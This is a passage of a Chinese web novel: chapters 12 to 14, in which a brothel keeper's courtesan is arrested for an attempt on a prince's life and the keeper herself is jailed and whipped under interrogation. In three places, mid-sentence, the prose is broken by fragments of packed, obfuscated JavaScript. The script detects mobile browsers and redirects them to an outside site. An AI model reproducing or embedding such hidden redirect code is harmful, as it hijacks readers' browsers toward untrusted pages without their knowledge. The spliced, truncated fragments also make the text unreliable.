金絮闻言笑了笑,“你跟火蓉真是一个路子的。”她戳戳丽姬的腰,“你这是吃了瘪,才带有偏见地去看他。为什么来青楼就非得做只有在青楼才能做的事?馆里很多姑娘都喜欢林童忆这作风呢。” 丽姬被戳得更不爽,“你也虚伪!” 金絮笑笑没说话,拿筷子继续吃土豆炖肉,快吃完时慢慢凉了。 吃完后,她趴到丽姬旁边,“哎哎,说真的,往后打算去做什么?” 丽姬转眼珠子,双手枕着脑袋边想边道:“有银子了嘛,去边塞、去大漠看看都挺好,也可以闯江湖、去拉帮结派,我听说,武林盟主特别好女色......” 丽姬说着挑了挑眉,暗示地看着金絮。 金絮笑道:“那你身上带着银子多不方便,要不这样,你将银子给我,我帮你放进掌葫钱庄里,再做个子母取钱令,你拿子令,我拿母令,免得你跑远了,我抓不到。” 丽姬登时肃脸,仔细看了她一会儿。金絮陪着笑,任丽姬打量。丽姬眼珠子一瞪,翻身将她压下,“你当我傻?不是说不要银子的吗?!你这个老鸨,你这个压榨姑娘的老鸨!到散伙了还想着捞银子!” 丽姬一面说一面对金絮掐脖挠痒。 “咳咳,可不就是到了散伙的时候才要捞银子的嘛.....哈哈哈哈哈哈哈......等一下......哈哈你先住手......” 丽姬收手抱胸,正襟危坐在她身上看着她。 金絮顺了口气道:“我把你的银子和我的银子放在一起,做两个相同的取钱令,你一块,我一块,我的银子你也能用,怎么样?”她诱哄道:“我的银子肯定比你的多吧?” 子母令,母令不仅能单方面知道子令的取钱位置,而且能约束子令的取银限额,但同等的取钱令就没有限额,也能通过掌葫钱庄打听到双方的取银位置和数目。 丽姬先是肃脸思考,最后一挑眉痛快道:“可以。我一定拿你的银子全去吃肉,吃最贵的肉。” 金絮哈哈一笑,“好,这么说定了。” 她还没笑完,听见外边有人敲门,她应一声,门被打开,来人是大厢。 “阿絮姐,梁公子又来了。” “啊?”金絮坐起身。 他怎么又挑着闭馆的时候来? 金絮拍拍丽姬的腰,“快下来。” 出了房间后,快速赶去前馆。此时才刚过亥时,前馆还有丫鬟在打理,应该没熄灯,情况至少比上次好点。 到堂肆,他不在,金絮抬起头,看见他房中亮着灯。她快步上楼,在门口一眼看见了他。 房门敞着,梁风坐在塌边,手支着头,闭目养神,一身华服还未换。 金絮刚要走过去,他睁开了眼。 “梁公子你......” “过来。” 他的声音沙哑而且疲惫。 金絮微不可查地皱了皱了眉,一靠近就被他抓住手腕,带入浴室中。 金絮揣度他的神色道:“梁公子是准备在馆里过夜么?” “嗯,不想在府里睡。” 他站在衣架子前,张开双手,金絮自觉上前给他宽衣。 丫鬟在倒热水,蒸气氲开,混着茶麸香气,熏得她困意上来。她想起整个白天都没有补觉。 “梁公子用饭了吗?” “嗯。” 金絮还想惯例问他要不要点姑娘。他之前一向是不要的,也吩咐过不用问他这些问题,可上次顺嘴问出来时他又要了,而且点的还是她。 嗯...... 那就不问了吧,免得给自己找事,今夜要好好睡一觉的。 她一边给他解腰带一边想着各种事情,没留神抬头看他,发现他一直盯着自己,忙吧眼神躲开。 “躲什么?”他似乎笑了一下。 “呃......没躲什么的。” 耳边听见一声轻哼,金絮动作不自觉停住,慢慢抬起头,又撞上他的视线。 他眼底有些乌青,眉毛凌乱,脸色不太好,倦意很浓。她张嘴正欲说话,梁风突然开口抢先道:“昨晚没睡好?” “啊?......哦,没有。”金絮收起表情,“睡得还行。” 将他腰带挂到架子上,回身继续给他脱时他又问:“你刚才想说什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839746|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >金絮眨了眨眼,手伸向他衣领的动作不自觉变慢,想了一会才答:“想提醒梁公子多注意休息。” 他笑出声,好像很开心,笑意驱赶了倦意,眉目清朗许多。 外袍慢慢脱掉。 “之后再不开馆吗?” “不一定。” 金絮说完发现自己反应有点冷淡,忙补充一句:“但梁公子若是来,温柔馆就一定是开着的。” “哦。”他一笑,“你不是打算卖馆?” “你卖馆之后,我即便来,温柔馆也没有了。” “是。”将他脱得只剩中衣,金絮垂头盯地面,不看他,“没有了。” 她在一旁安静站着,也不再脱了,视线放在鞋子上,看不见他的神情,只感到周围气氛和谐地安静了一会儿。 “出去等我。” 金絮松大口气,随即发现自己松气的动作太过明显,忙将气提回去,挥手招呼丫鬟出了浴室,气才彻底松了出来。 丫鬟收拾脏衣离开,金絮确认一眼大厢在外待命,便安心等梁风洗完。 怎么又要她等......不会是还让陪他睡觉吧? 她可不陪。 快困死了。 梁风夜间房中的蜡烛比较特别,点燃会散发一股幽幽香味,十分助眠。 室内温度正适宜,金絮越感受越想就着这暖意往她的凉被里一滚,简直惬意。 她打个哈欠,在金丝织成的地毯上走圈,强打精神。 拿不准他什么时候会出来,金絮备好毛巾,在角落低头乖乖站着。 快睡着时,听见屏风动响,她下意识抬头,梁风就在两步远的眼前,穿着换新的中衣,头发微微滴水,一声不响看着她,像是静等她的伺候。 金絮赶紧服侍他在镜前坐下,拿毛巾给她擦发,暗悔刚才应该留几个丫鬟打打下手的。 她心中不免有些奇怪,往常他来过夜时都会带一、两个婢女随身服侍,以代替温柔馆的丫鬟,可最近两次过夜都没见到他的随身婢女。也难怪昨天早上他府里的李管家会亲自过来看他被照料得如何了。 昨天看李管家显然不满意的样子,今天要是再不把他伺候好,不知道明早李管家会不会训话。 若敢训的话,她就驳回去,温柔馆又不是他家,挑剔的话就别来。 不过,他这两日的行为倒是和薛老板有点像,都是想在临走前尽兴一回,如果是梁风的话,她就不奇怪他能提前预示到温柔馆会倒闭了。 火蓉和丽姬的话还是有道理的,会上青楼的男人不过如此。 “在想什么?” 思绪骤然被打断,金絮身体略为受惊地一颤,看向镜中的他,见他脸上似笑非笑的表情反应过来,道:“没想什么。” “我觉得你心里在腹诽我。” 金絮听了,也不管他是用怎样的表情和语气说出这话,只管把头低下,诺诺答一句:“不敢。” 视线里他的衣摆转过来,似乎面对着她。梁风一只手握住她的手腕,轻轻将她往前扯了一点。 “诽便诽了,我又不会说你的不是。” 金絮纠结于要不要把他这话当真,他便收了手道:“继续。” 12. 翠玉簪子 金絮换块布巾,拿个木夹子走到窗边,一个比巴掌略大的火炉子上铺了两块丝巾,她夹起一块烘得干硬的丝巾放在布巾上,趁热包住他的湿发,一点点捋干。 捋得差不多干后,她打开发膏,用掌心搓热再涂抹至发尾,最后用余热的丝巾画圈按摩他的头皮和发根。 她做得专心,没注意到他在干什么,只想着一切动作都要往轻了去做,也不知道他喜欢的力度是怎样。 揉至额前发丝时,金絮才发现他居然睡着了。 这样坐着怎能睡着。金絮手下动作放得更轻,掌心有意无意扶着他额侧。 垂下的丝巾还是将他拂醒了,她便收回手,专心理发。 梁风眨了眨眼,困倦地闭眸抬手揉眉心,突然道:“圣上给我派了个案子。” 金絮顿时愣住,全身愣住,反应过来他如今的身份后,立刻道:“那你今夜还过来?不是说官员不得上青楼吗?你还来?你这是违抗圣旨。” 她手中还拽着他的一股头发,梁风微微一笑,取走擦发巾,起身抓住她的手腕走至床榻边,“京城谁人不知我爱上青楼,这有什么?何况我只是临时查个案子,并非真的当了官。” 金絮脸色一板,站定不走了。梁风回身看她,末了放手无所顾忌一笑,自己坐到床榻上去,背靠枕头,好整以暇看着她,还伸手拍了拍身侧空着的床畔。 金絮仍旧不动。 又不能赶他走,她刚才也说了,只要来,温柔馆就一定迎接他的。 梁风也没恼,目光淡淡往床内扫了一圈,提醒道:“你没铺床。” 金絮只好过去将床铺了,被子一扯横在他身上,又被他趁机抓住手腕。 “你别担心,不要紧的。” 金絮抽出手,移开目光,“我没担心。” 她是怕温柔馆被牵连,若让廷尉疑心,那温柔馆说不定也将是被抄的命运。 心里默叹口气,金絮拿把梳子,朝他道:“头发还没梳。” 抹了发膏的发丝一顺到底。 “陪不陪我睡?” “不陪。” 两人间气氛一静到底。 梳好发,金絮退一步拢手低头,恭顺道:“梁公子安心睡,有何事吩咐一声就行,门外有人守着的。” 她说完福一礼,转身便走。 “温柔馆别卖给贾镇。” 金絮顿步,良久,才回一句:“好。” 她先是将浴室清理干净,再把窗边的炉子给大厢拿走,正准备熄灯,梁风突然道:“把香点上。” 金絮只能再耐下心,取出他的特制香粉,在床头开始调。 “我昨日为了查案一夜未睡。” 她专注于手上的活计,不冷不热道:“梁公子注意休息。” 梁风始终看着她,手枕脑袋状似闲散地问:“卖馆之后去哪儿?” 金絮低头压香,低声道:“不去哪。” 似是察觉到她的冷淡,梁风收了声。 她点燃香,备壶茶水,再将窗户支好,挨个吹灭蜡烛。屋子内部里被月光描绘出轮廓,她闻到那浅淡的香气,仿若蜘蛛丝地拉在脸上。听见梁风躺下了,她放轻步伐,悄悄地出了厢房。 叮嘱大厢几句后,金絮随便洗了个澡就准备睡觉。躺在被子上时,却突然没了睡意。 他昨晚是查案才一夜没睡吗? 今早初香坊一案的结果就出了。 金絮不由思考其中关联。 天花板是跟梁风房中不一样的黑,她打个哈欠,酝酿睡意。 眼下最要紧的还是姑娘们去处的问题。只是刚才真有一瞬,让她想把近来的疑问全跟梁风问清楚,可话到嘴边,兜兜转转几个圈,还是咽下了。 很多事情知道和不知道并无太大区别。 知道了又如何?她能做什么? 做好范围内的事情就行了,别的事情即便她想管,手也不够长。 她将脸埋进枕头里,四肢拢被,寻个舒服的姿势睡觉。 雪姬突然在脑海中蹦出。 她愣了愣,抓住将将露头的瞌睡赶紧清空脑海,专心睡觉。 可直到深夜也没睡着。 她有点无语,但睡不着又实在没办法。 金絮坐起来,揉了揉被翻来覆去弄乱的头发,打算去找孙姨讨碗安神汤喝。孙姨肯定睡了,但应该有备好的安神汤,热一下就行,不热也行。 金絮打开门,一条腿刚跨出去,恰巧看见大厢迎面小跑过来。 大厢有点奇怪地看着她,“阿絮姐,没睡啊?” “睡不着。” “梁公子找你过去。” 金絮眨了眨眼,忍不住烦躁地揉额,“又找我过去干嘛?” “不知道,梁公子好像睡了,然后又醒了......” 金絮耐下躁,套件外衣去前馆。 星夜下的花园色彩朗朗,假山群光影交错,她越走越觉精神。 推开梁风的房门,暖意直冲眼睛熏入,她又觉得困了,一股发自喉咙深处的哈欠打上来。 这股哈欠长到她站定在梁风面前时才堪堪吐出最后一截气。 梁风坐在被子里,被子盖了半身,浓黑间看不清他的神情。 “你......睡了?”他问。 “没睡。” 听出他嗓子里的暗哑和困倦,金絮倒杯茶,凉的,但也递给他。 梁风接过喝了,另一只手抓住她的腕,“你陪我一会,我睡着了你再走。” 他嗓子通顺许多,金絮放下茶杯,不情不愿又不耐烦地“嗯”一声,被抓住的手挥了挥,赶他往里面去一点,再在床外边躺下。 梁风立刻扣腰贴过来,金絮面无表情,再不动了。 睡觉就睡觉......至于贴那么近...... 金絮睁大眼睛看屋顶,尽量不让自己睡着。 等他睡着了就走。 他睡着了就走...... 金絮一觉睡到了天亮。 早晨是被啾啾鸟鸣声叫醒的。她抱被翻身,室内暖暖,从这叫醒她的声音判断,时辰肯定还早,被子下的手摸摸自己身上,外衣还穿着。她醒醒神,再转头,见梁风坐在她旁边,看着窗外,手指绕着她一缕头发。 “醒了?” 金絮夺过自己头发,坐起来,眨了眨眼,接受这个事实。 “你不用去早朝吗?”她问。 “不用,陛下恩准我今日免朝。”他掀被穿鞋,再将被子拉到她脖子以下,“我走后你再继续睡。” 金絮看看天色,低头看看自己衣服,外衣虽穿着,腰带不知怎么散开了,她合好衣服,一时找不到腰带。 梁风朝外间喊道:“进来。” 金絮心里一惊,接着就见他府上丫鬟一个跟着一个涌进,这群人不知道在外面等了多久,她赶紧翻身下床,在被里发现腰带,胡乱一系,蹬鞋便想避去外间。 “慢着。” 金絮回头,梁风扬扬下巴,三五个围着他转的丫鬟中两个便朝她走来。 金絮立马躲开,“不用。” 梁风不容置否的目光一扫,金絮讪讪缩脖,只能任由丫鬟也给她收拾。 这是他的人,当然不会听她的。 可现在这场面让她很不自在,一块儿起床,一块儿捯饬,像是住在一处的人一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839747|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但梁风是温柔馆的客。 金絮僵着脸,梁风反而一派悠闲自在。 洗漱收拾完,他从怀中摸出根翠玉簪子,递给丫鬟,再示意金絮。丫鬟便拿着簪子来给她盘发。 簪子单调的一根,粗的一端细渡至另一端,线条流畅笔直,别无华饰。 他随身带着这种东西? 金絮偷偷打量他一眼,昨晚过来就是披头散发的,梁风房中也没有可供女子装饰用的东西,却随身带着个簪子。 睡觉时不戳么? 坐在他坐过的椅子上,金絮被盘好发,立刻针扎屁股似的跑至外间。一出去,果然看见李管家静候着,还同她点头打招呼。金絮报之以笑笑,想了想决定在门口送他,门外一个她的人都没有。 李管家站在桌边,桌上满满的全是李管家送来的早点,一样温柔馆的东西都没有。 金絮心里撇撇嘴,真把这里当他家了,她一个主人反而像是个外客。 除了同上次一样的清蒸鱼外,还有碗粥,金絮凑近看了看,粥里有数条姜丝。 不管味道怎样,反正给他做了,她就不另外再让人煮了,金絮跨出门,在沿廊隔了几间厢房的地方见到大厢。 “怎么没在门前守着?” 大厢很是焦急和担忧,“梁公子的管家打发了我,说是房里服侍的人够了,不需要我,但我又怕你有吩咐,所以我站远一点守着。” “隔那么远,我喊你,你也听不见啊。” 大厢睁大眼睛,“阿絮姐,你.......” “我没事,什么也没发生。”她脑袋浮起没睡够的晕昏。 大厢凑近金絮,低声道:“阿絮姐,这梁公子最近怎么这样啊?......” “嘘,”金絮责道:“等人走了再说。” “哦......”大厢缩缩脖子,噤了声。 金絮扭头看了眼梁风的房门,再说:“时辰不早了,你休息去吧。” 大厢应声离开,金絮回到他的房门前。梁风穿戴整齐迈出,看见她便捉了她手腕,牵进房至榻边坐下。金絮识时务地给他布菜,先舀了一碗粥,他尝一口立刻皱起眉,显然不满意,金絮便想换道点心,结果见他皱着眉继续喝粥。 “老李,这是府里送来的?” 李管家微微弯腰恭敬答:“是。” “以后不用送了。”梁风看金絮道:“你做。” 金絮面色不变,学着李管家恭敬道:“是温柔馆厨娘做。” 梁风顿了顿,突然想起什么似的,“对了,你要卖馆,以后也没得做了。” 是的,也没得睡了,金絮暗暗垂眸。 “絮姑娘,你想卖馆?”老李出声问道。 她点头,“是。” “哦,如此......” 李管家抚黑白须沉吟道:“最近秦楼楚馆名声不好,出了事......又涨税,你是想卖馆......那可以,卖给我家公子的。” 什么? 金絮一愣,不及反映,梁风立刻看过来,神情间露出急切和欣喜,“这个主意好,我若买下,便可在背后支持你,帮你承担赋税。” 金絮被惊得站起来,下意识往后退,却被他的手相连,“你怎么能买?你不要你的名声了吗?你若是买个青楼,旁人知道了还不定会怎么说你的。” 爱上青楼和买青楼,当然是后者的纨绔习气更重些。 如今都二十五六的人了,他还当他是十五六岁的时候么。 “李管家!”金絮责怪道:“您不要胡乱出主意。” 李管家笑,高深莫测道:“我这正是为我家公子好才出的主意。” 13. 成败 李管家捋须道:“若让我家公子买了,那温柔馆便是他的产业,往后公子想来馆喝粥,也无须顾忌大官的身份了。” 梁风眼睛晶亮晶亮地看着她,“如此甚好。” “哪里好了。”她小声地嘟哝一句。 “我若买了,就将温柔馆改做别的生意,你和你的姑娘们仍旧可以住在这儿。” 金絮撇开眼,打断他,“多谢梁公子好意,但我不想卖给您。我做的生意只想抓在自己手里,不容旁人多插一手的,哪怕是倒闭。” 她拒绝得毫不留情,说完便感到手腕被抓的力道加大了许多。 李管家拱着手,默不作声退下去。 梁风把她拖拉着坐下。金絮故意不看他脸色,仿佛什么也没发生过的继续给他布菜。 梁风却不吃了,“我自然知道你不喜旁人插手,”他顿一顿,再说:“我是想帮你。” “梁公子这些年已经照顾过我许多生意了。” 两人间一静。 梁风慢慢开口,“涨税一事......我与陛下求过情,陛下原本想涨两成的。” 两成?金絮道:“涨之前是收两成税,再加两成就是四成,还要加上其他土地、房屋、盐铁等各种各样名目的税,等于我每年有一半的钱要交给官府。” 金絮双眼牢牢盯着他,仿佛能透过他看到那不曾见过一面的端坐在高位之上的帝王,她一笑,赞道:“皇家好作风。” 梁风皱了一下眉,但没有流露出不满,金絮又道:“相比前几年近八成的税,如今确实要好了许多,皇恩浩荡,我们老百姓除了感激之外,也只能乖乖地将税银双手上交。” 梁风一捏她的腕,“我知你......” “梁公子,你今日不上朝,也不当值吗?” 他又皱起眉,此时有些不满了。 “我知你处境。如今涨税只是压下舆论的权宜之计,过段时间,会在别的地方松松税的。” 金絮点头,“嗯,到那时,该倒闭也都倒闭了。” 像是那些小馆,大多都忙着在年底前把馆卖掉,盘算起码拿银子换口田。 梁风眉头皱得更深,“我也知温柔馆的处境的......你生气了?” “我没有生气。”金絮忍耐着睡不够的晕昏和突突跳的太阳穴,“被一道圣旨逼得绝了后路的人才应该生气。” “你......” “公子,”李管家环手一揖,插话道:“时辰不早了,您该动身了。” 金絮看一眼老李,再看梁风。他似乎有话想说,但最终什么都没说。他起身,捏一捏金絮的手,道:“那我走了,你再去睡一觉,我晚上会来。” 金絮送他出门上轿。 “梁公子慢走,下次再来。” 丫鬟婢女簇拥着华盖,在晨光之下离去。 远远传来某家面点铺子的香味,金絮打个哈欠,回房喝碗鱼粥,便准备睡个回笼觉。 路过大花园池上的砖桥时,看见草地边有一点红色的东西。 乍看以为是花瓣,但花园里没有红色的花。她走近细瞧,才发现是一滩水滴,但又不是水,是水早就被晒干了,而这滴水还扒在地上,干的只有表面一层。 她拿脚蹭蹭,轻易蹭开了,再用手指抹一点闻闻—— 是血。 她怔了怔,心中不安感越来越强烈,好像有什么事隐隐发生在她眼前,但她还没看见。 去到寝楼二层雪姬的房间,她推开门,房中一片静谧,与雪姬同住的三个姑娘只有一个人在,那人看见她,用嘴型同她打了个招呼。 金絮往雪姬的床位看去,已经拜祭完家人回来的雪姬正躺在床榻上休息,被沿压到肩膀,面色苍白,睫毛轻颤。 金絮在她床边坐下,被榻一挤,雪姬醒了。 她睁开眼,目光渐渐凝聚在金絮身上,张了张嘴,什么话都没说。 金絮也看着她,她的眼神显得很疲惫,是跟梁风、跟初香坊三人不一样的疲惫。金絮竖出食指,将沾了干涸血迹的指尖给她看。雪姬目光闪了闪,躲开了眼。 金絮收手起身,临走时听见雪姬似乎轻轻说了一句话,说的什么她没听清,跨出房门后,隔栏看见站在楼下的丽姬。 金絮就这么在阁楼上看着丽姬,丽姬也抬头朝她清清一笑。 丽姬的长相十分张扬,眉眼笑容却十分清彻,一笑就淡化了脸上的妖媚。金絮就喜欢看她笑,仿佛能从她的笑容里看见风和日丽。 金絮下去,与丽姬并肩在馆里散步、谈天、喂鱼,心中的不安愈发强烈。 饭后,嫌房里太闷,金絮坐在花园亭下,等着困意上来,脑子里却止不住地思索起心中不安感的来源。 想了不知多久,日头开始斜偏,她靠着亭柱,模模糊糊缓慢入睡,突然听得一声急唤: “阿絮姐!” 她惊醒,朝发声处看去,亭子埋没在树间,隔着疏叶只能看见一道身影从桥的一边快速穿到另一边,口中还在急切地呼唤寻找她。 金絮扬声道:“我在这儿!” 那身影骤停,朝她这方向大喊:“阿絮姐,廷尉来人了!” — 金絮赶到前馆时,廷尉冲入的人已经蔓延整个前馆,钳制住馆中所有姑娘。 领头的人出示廷尉左监令牌,确认她是温柔馆老鸨后,当她面展示搜捕令,沉声问:“谁是雪姬?” 金絮十分冷静和配合,仔细阅过搜捕令无疑,让人领路带着侍卫去寝楼找雪姬,再安抚各姑娘们被惊吓到的情绪。反抗和质疑没有意义,她清楚自己馆里一群女子不可能抗得过训练有素的卫兵。 此时大部分人都在前馆,卫兵将姑娘们逼到一处,左监大人见她还算配合,便放缓了态度。卫兵下手也没那么粗暴。 金絮抬头看梁风的厢房,一个侍卫将门踹开,只在门口象征性地扫视一圈,并未进去搜捕。 她安抚几个小声啜泣的姑娘,静静等待着,没等多久,雪姬就被两名侍卫押着走出来。接着,左监大人手一挥,蔓延整个馆的人随他鱼贯而出。 雪姬被带走时抬头看了她一眼,面上是仿佛已预料到的平静。 金絮不知道雪姬是什么原因被抓,也不知道外面到底发生了什么事,她只知道发生的事已经牵连到了温柔馆。 雪姬被抓之后呢?温柔馆会不会像初香坊那样被封了?她馆里还有这么多人呢。 姑娘们惶惑声四起,吵断了她的思绪,她一喊:“安静!” 四周顿时静下来。 不知道还会发生什么,她能做的是先保证所有人安全。 “大家先冷静一下。”金絮道:“我不知道雪姬做了什么,但我会尽最大力不让事情波及到你们。你们就先按我说的做,回房收拾包袱,准备随时离开温柔馆。化莲、纯冬、媚秋呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“雪姬在牢里说了几句不好的话,牵扯到了温柔馆,廷尉的人正在过来的路上,我赶在他们前面来告诉你。你是馆主,即便我一力担保与你无关,廷尉正仍然要求将你带去审问。” 她呆呆地不知说什么,握紧的手心泛了冷汗。梁风把她手指轻轻掰开。触到他的温度,金絮有点回神,发现自己浑身很冷,双手被他握着也回不了温。 他语气低低缓缓,像是安抚,又走近一点,全部视线罩住她。金絮微微仰头,忘了眨眼,听见他叹了一声:“又让你遇见这种事......” 她张了张嘴,喉咙通开,“雪姬......她说了什么?” 未等梁风答,门外传来急促的马踏声,金絮一惊,浑身抖了一下。梁风忽然张臂将她松松抱住,金絮没有挣扎。 他在耳边说:“你别怕,他们问你什么你都说不知道,等我去救你。” 金絮却只凝视着大门。 闯进来的人还是廷尉左监,在看见他们拥抱着时,神色一顿。梁风放开她,左监大人便一挥手,侍卫上来押住她双臂,像押着雪姬那样将她推出门。 临走时,金絮回头看了一眼,梁风站在那儿受了左监大人一礼,嘴里似乎说着什么。 14. 逼供 金絮被带到廷尉监牢,在狱卒监视下,脱掉外衣、首饰和其他东西,换上囚服,关押在一间牢房中等候听审。 牢房内与她想象中的差不多,阴暗湿冷,不见天日。角落里有窜来窜去的老鼠蚁虫,耳边不断听到其他牢犯的喘气声和受了刑后抑不住的呻吟,闻到的是霉味、血气和腐肉混杂的气味。 她压低呼吸抱腿坐在地上,低头看指,不敢与别的牢犯有目光接触,黑暗颓丧的牢狱里,只有她尚是衣着洁白。 她忍不住想,在这种地方待上数月会是什么感受。 不知等了多久,两个狱卒开门进来,押住她双臂,把她带了出去。伴随着其他牢犯投过来的目光,金絮看着地板,不敢四处打量,直到被带到一个稍微空旷些的房间,眼前烛火一亮,感觉更温暖一点,但周遭血腥味更重了。 她被狱卒一推,踉跄跪到地上,狱卒站在她斜后两方。血腥气闻得她心跳变快,吸两口便觉鼻子干涩,呼吸困难,可她更不愿意用嘴呼吸。 旁边似乎还有一人。金絮能听到断断续续的喘气声,她小心翼翼抬头往发声处看,只见一人双手吊挂在支架下,垂着头,凌乱的头发遮脸,囚衣往下滴着血,被血浸湿的布料还反着光。 她吓一跳,不等看清忙移开眼,平复心跳后随即发现那人身形有点眼熟,便又偷偷看过去。那人像是感觉到她的目光,也微微抬起头。视线一撞,金絮认出来,是雪姬。 雪姬面容被血模糊了,唇色却很白,眼睛死寂无光,脖子勉强支撑起脑袋的重量,尚能抬头看她一眼,接着便脱力般又垂下去。双腿弯着,脚尖触地,全身重量似乎仅靠双手的绳索吊着,手腕磨出的血将绳子也浸湿了。 金絮怔怔地看着雪姬,不知作何反应。 “看什么看!” 身后狱卒一吼,她赶紧收回视线,低下头,静静跪着。 这时有脚步声传来,听上去是个男人。很快,来人走近,跟随而来的还有两个侍卫。她不敢抬头,凭衣摆认出面前的人应是左监。 来人静了一会儿,似乎是想给她压迫感,金絮便乖顺地低着头。 “报上名号。” 声音不一样,但跟左监是相同服饰,应该是廷尉右监。她胡乱想到自己如今户籍上的姓名,道:“轻絮。” “姓甚?” “大人,民女没有姓氏,轻絮是前任鸨母为民女起的名。” 右监大人似是不满地一哼,“何人?” “城东来福街第三号铺温柔馆老鸨。” 又静一会儿,而后响起纸张翻动的声音,金絮想他手里拿的应该是有关温柔馆的文书或人员籍贯,或是雪姬的口供。 “雪姬是你何人?” “是民女馆里的姑娘。” 又静了一会儿,金絮摸不准他在做什么,但知道这是审问时的技巧,就为了让她提心吊胆,然后下意识说出真话。 右监大人嗤笑道:“呵,姑娘——不过是个妓.女。” 金絮头垂得更低,顺从答:“是,妓.女。” 衣摆一动,那人忽然朝她俯身,察觉气息贴近,金絮本能往后靠,右监一只戴了扳指的手粗暴地抓住她下巴。金絮乍一吓,头就被他猛地一抬,看见这人是一张四十来岁、胡子拉碴的脸。 右监捏她下巴左右看看,拇指还摩擦了一下她唇边的肌肤,金絮想撇头躲开却被他捏得更紧。不知想到了什么,右监很快甩开她下巴,嘴里讥笑一声。金絮头脸被甩得一撇,下巴发痛,不敢多言,注意到右监直起身时有意无意看了雪姬一眼,听见他嘴里不无讽意道:“不愧是卖身子的。” 金絮低下头,不答这话。 “说说吧——为何要让雪姬去刺杀三皇子殿下?” “什么?!” 右监轻飘飘一句话入耳,金絮万分惊愕地抬起头。 刺杀三皇子? 雪姬刺杀三皇子? 她是怎么接触到三皇子的? 右监大人眼神犀利地刺过来,似在打量她神情的真假。金絮不躲不避任他看,惊骇后,快速收起震惊的表情和思绪。 “民女未做此事,从未让雪姬刺杀任何人。” “哦?”右监眯眼,“这么说,你是不知情?” 金絮直视他,“是。” 右监料到似的,对她的否认并不露恼,手里挑出一张纸,侍卫拿着放到她面前地上。 “你家雪姑娘已经招了,指认是你指使她刺杀三皇子殿下,因为殿下与你有旧仇,而你以扣押月俸为要挟,逼使她为你杀人,还想抵赖?” 金絮强压过快的心跳,放缓呼吸,仔细阅过雪姬的口供后道:“大人,这是诬陷。民女根本不认识三皇子殿下,更不用说有何旧仇了。温柔馆里所有人的月俸民女都按时发放,从无扣押一说,右监大人若不信,温柔馆的账本尽可去查。” 右监端详她,意味不明地笑道:“眼神儿到挺尖,只可惜,廷尉从不查看轻易能做假的账本,你的说法,并不能证明你的清白。” 金絮忙道:“但雪姬的口供也不能完全证明民女有嫌疑。大人,口供可有详细说明民女与三皇子殿下究竟有何旧仇?” 右监不屑地冷哼,“你与殿下之间的旧葛,自是本官此番审讯时要问出的话。你那雪姑娘怎知?” 金絮仰头看着他,步步紧逼,“大人这是在替一个刺客说话?民女若不在事先讲明刺杀三皇子殿下的目的,让雪姬心甘情愿为民女杀人,否则仅凭扣了几个月月俸她就能甘心冒巨大风险去杀一个尊贵如三皇子的人?” 他闻言不语,目光沉沉打量她,然后闭眼思考着什么。金絮以为他是在思考自己的话,结果听见他上下晃头自语道:“这重要吗?......这不重要。” 金絮一愣,立即意识到了他是什么意思,未等她再说话,右监突然变了脸色朝她怒喊: “大胆轻絮!本官问你话,你还不如实招来!说,到底为何指使雪姬刺杀三皇子殿下?” “我没有,我不知道雪姬为什么刺......” “还不说实话!” 右监挥手怒将旁边侍卫手中端着的茶杯摔落至地,金絮被吓得一抖。她身后两名侍卫像是得了某种信号,上前架起她双臂,将她拖走至另一处吊人的支架。他们把架子挂着的绳索解开,作势要套她的手。 金絮试着挣扎,脱不开,眼睁睁看自己双手双脚被绳索缚住,扯成一个蛛网。她难以置信地看着廷尉右监,“右监大人,民女所说句句属实!” 有人将一早备好的新茶俸给他,右监接过,拿杯盖拨茶叶,慢悠悠道:“实不实,打几鞭就知道了。” 金絮不敢相信这种事有一天也会发生在自己身上,粗糙的绳索扎入皮肤,她无声大口地呼吸,压下心底害怕,不敢动了。既然反抗没用,那就将伤害降到最低。 狱卒从刑具中挑了一条短鞭,那鞭子看起来朴实无华,金絮想象着它抽在身上的感觉,尽量给自己做足心理准备。 狱卒走到身后,鞭子离开她视线范围,原本做足的心理准备开始慌了。 身后传来几下破空声,金絮咬紧牙,可等许久鞭子也没落到身上,即便知道这是折磨人的技巧,她还是忍不住更慌了。 啪! 一鞭甩在后背,金絮被打得往前倾,又被绳子拉回来。 她紧紧咬着牙,不让自己喊出声。但好像没她想象中那么疼,也可能是她心里的紧张盖过了疼痛。她缓一会睁开眼,烛光铺就的地面晕晕晃晃。 很快她就发现不对劲。 被鞭处本不甚强烈的痛苦慢慢开始发热,烧灼感迅速蔓延全身,伤口针扎似的疼痛渐变剧烈,痛感从后背刺穿前胸,五脏六腑抽搐起来。她的意识却很清醒,忍不住想雪姬和初香坊坊主也受过这刑吗?她忽然明白,雪姬为什么会做份假口供、初香坊坊主为什么会背上谋杀丞相长史的罪名了。她现在只想将手伸进皮肤里,把那扎针般的烂肤撕掉,好减缓疼痛。 她甚至觉得,不管真相如何,只要能不痛了,认下也可以。 又一鞭打来,金絮吐出一口血,热得仿佛吐出岩浆。 